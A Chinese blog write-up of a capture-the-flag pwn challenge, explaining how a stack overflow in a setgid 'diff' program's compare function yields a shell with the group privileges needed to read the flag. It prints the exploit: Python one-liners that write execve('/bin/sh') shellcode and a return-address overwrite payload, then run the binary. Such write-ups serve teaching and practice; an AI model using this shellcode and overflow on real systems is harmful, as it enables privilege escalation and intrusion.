标签:scp 十六 bsp diff 文件中 div 下载 运行 add
不得不说这种题目挺有意思的,现在记录一下阶梯过程:
先登录远程,发现有两个文件:
虽然直接能卡到flag文件,但是我们是以ctf用户登录的,并不能直接打开flag文件。仔细观察diff文件组用户权限是r-s,这意味着我们以ctf用户运行diff却能得到ctf_pwn用户的权限,就能读取flag了,所以我们目标是运行diff并拿到shell。
其实在做这题之前有好几道类似的题,没有给任何文件,都需要ssh连接远程,之前我有尝试用scp把文件下载到本地,结果都是败了,所以这题我就没注意看。知道看wp时才意思到可以下载到本地,不得不说挺坑的。
下载后用IDA打开,直接看compare函数:
很明显存在栈溢出,所以我们可以向buf1中写入shellcode,向addr写入padding。
这里不得不说另一个坑了。我之前直接把shellcode的十六进制代码写入到文件中,结果读出来的不对,后来才意识到这样是以字符读入,失去本来的意思。
python -c "print ‘\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80‘" > shellcode
python -c "print ‘A‘*0x7c + ‘\x24\xa0\x04\x08‘" > padding
./diff shellcode padding
标签:scp 十六 bsp diff 文件中 div 下载 运行 add
原文地址:https://www.cnblogs.com/countfatcode/p/12556253.html